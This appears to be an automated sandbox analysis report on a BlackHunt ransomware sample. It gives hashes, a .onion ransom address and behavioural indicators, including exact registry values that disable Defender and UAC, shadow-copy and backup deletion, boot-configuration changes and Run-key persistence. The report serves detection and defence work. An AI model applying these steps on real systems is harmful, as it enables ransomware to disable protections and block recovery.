Analysis
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max time kernel
171s -
max time network
190s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 23:21
Static task
static1
Behavioral task
behavioral1
Sample
51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Resource
win10v2004-20231215-en
General
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Target
51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
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Size
707KB
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MD5
381c0731d3af5fb29d1d07ba29b1a747
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SHA1
4c101e7fc3203a98f845abcce55f45f3caed89fe
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SHA256
51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4
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SHA512
44a26772c284e93679e61d85fae232b476a809e11e90c8676a7cbf14d60f3c8a2ec088bdf6249e70bf8ad7208c8785f014bce57223c3ecd599377bb80ac63e15
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1R8Avnh:6uaTmkZJ+naie5OTamgEoKxLWEeh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 5628 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1664 bcdedit.exe 5988 bcdedit.exe -
Renames multiple (706) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 6016 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\A: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\X: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\R: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\P: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\T: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\O: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\L: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\V: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\N: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\W: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\J: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\K: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\B: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\I: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\S: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\E: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\H: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\Z: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\G: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\M: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened (read-only) \??\Y: 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 28 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jre-1.8\legal\javafx\icu_web.md 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\jsse.jar 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_Private.key 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\7-Zip\Lang\zh-cn.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\glib.md 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightRegular.ttf 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\hijrah-config-umalqura.properties 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\README.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#BlackHunt_ReadMe.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\NEWS.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\7-Zip\Lang\uz-cyrl.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\cue.luac 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\7-Zip\Lang\et.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\psfontj2d.properties 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\#BlackHunt_Private.key 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\bcel.md 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_Private.key 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\dotnet\swidtag\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\logging.properties 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\cmm\GRAY.pf 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_Private.key 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_streams.luac 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\7-Zip\Lang\mn.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\7-Zip\Lang\sr-spc.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dynalink.md 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\tr\#BlackHunt_ReadMe.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\directshow.md 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\#BlackHunt_Private.key 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jpeg.md 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\#BlackHunt_Private.key 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#BlackHunt_Private.key 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\plugins\mux\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\management\snmp.acl.template 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.json 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\plugins\audio_mixer\#BlackHunt_Private.key 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.hta 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_Private.key 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\libpng.md 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\vlm_export.html 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_Private.key 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunmscapi.jar 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File created C:\Program Files\Reference Assemblies\#BlackHunt_Private.key 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe File opened for modification C:\Program Files\7-Zip\Lang\th.txt 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6340 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 6900 vssadmin.exe 7004 vssadmin.exe 7036 vssadmin.exe 7080 vssadmin.exe 6460 vssadmin.exe -
Modifies registry class 8 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe Token: SeRestorePrivilege 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe Token: SeBackupPrivilege 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe Token: SeTakeOwnershipPrivilege 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe Token: SeAuditPrivilege 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe Token: SeSecurityPrivilege 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe Token: SeIncBasePriorityPrivilege 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe Token: SeBackupPrivilege 2160 vssvc.exe Token: SeRestorePrivilege 2160 vssvc.exe Token: SeAuditPrivilege 2160 vssvc.exe Token: SeBackupPrivilege 6844 wbengine.exe Token: SeRestorePrivilege 6844 wbengine.exe Token: SeSecurityPrivilege 6844 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4380 wrote to memory of 4684 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 91 PID 4380 wrote to memory of 4684 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 91 PID 4380 wrote to memory of 3752 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 93 PID 4380 wrote to memory of 3752 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 93 PID 4684 wrote to memory of 1640 4684 cmd.exe 94 PID 4684 wrote to memory of 1640 4684 cmd.exe 94 PID 4380 wrote to memory of 5080 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 96 PID 4380 wrote to memory of 5080 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 96 PID 4380 wrote to memory of 3984 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 98 PID 4380 wrote to memory of 3984 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 98 PID 4380 wrote to memory of 1668 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 99 PID 4380 wrote to memory of 1668 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 99 PID 5080 wrote to memory of 1876 5080 cmd.exe 102 PID 5080 wrote to memory of 1876 5080 cmd.exe 102 PID 3752 wrote to memory of 436 3752 cmd.exe 103 PID 3752 wrote to memory of 436 3752 cmd.exe 103 PID 4380 wrote to memory of 2040 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 104 PID 4380 wrote to memory of 2040 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 104 PID 4380 wrote to memory of 1828 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 106 PID 4380 wrote to memory of 1828 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 106 PID 4380 wrote to memory of 4824 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 108 PID 4380 wrote to memory of 4824 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 108 PID 4380 wrote to memory of 4232 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 110 PID 4380 wrote to memory of 4232 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 110 PID 4380 wrote to memory of 3968 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 128 PID 4380 wrote to memory of 3968 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 128 PID 4380 wrote to memory of 3940 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 111 PID 4380 wrote to memory of 3940 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 111 PID 4380 wrote to memory of 1472 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 113 PID 4380 wrote to memory of 1472 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 113 PID 4380 wrote to memory of 4732 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 112 PID 4380 wrote to memory of 4732 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 112 PID 4380 wrote to memory of 3280 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 124 PID 4380 wrote to memory of 3280 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 124 PID 4380 wrote to memory of 2972 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 116 PID 4380 wrote to memory of 2972 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 116 PID 4380 wrote to memory of 1300 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 123 PID 4380 wrote to memory of 1300 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 123 PID 4380 wrote to memory of 3404 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 121 PID 4380 wrote to memory of 3404 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 121 PID 4380 wrote to memory of 4204 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 120 PID 4380 wrote to memory of 4204 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 120 PID 4380 wrote to memory of 4604 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 135 PID 4380 wrote to memory of 4604 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 135 PID 4380 wrote to memory of 3860 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 134 PID 4380 wrote to memory of 3860 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 134 PID 4380 wrote to memory of 1584 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 133 PID 4380 wrote to memory of 1584 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 133 PID 4380 wrote to memory of 4676 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 132 PID 4380 wrote to memory of 4676 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 132 PID 4380 wrote to memory of 4408 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 154 PID 4380 wrote to memory of 4408 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 154 PID 4380 wrote to memory of 1284 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 140 PID 4380 wrote to memory of 1284 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 140 PID 3984 wrote to memory of 2424 3984 cmd.exe 139 PID 3984 wrote to memory of 2424 3984 cmd.exe 139 PID 4380 wrote to memory of 3172 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 138 PID 4380 wrote to memory of 3172 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 138 PID 4380 wrote to memory of 452 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 142 PID 4380 wrote to memory of 452 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 142 PID 1668 wrote to memory of 4336 1668 cmd.exe 137 PID 1668 wrote to memory of 4336 1668 cmd.exe 137 PID 4380 wrote to memory of 2816 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 146 PID 4380 wrote to memory of 2816 4380 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe 146 -
System policy modification 1 TTPs 3 IoCs
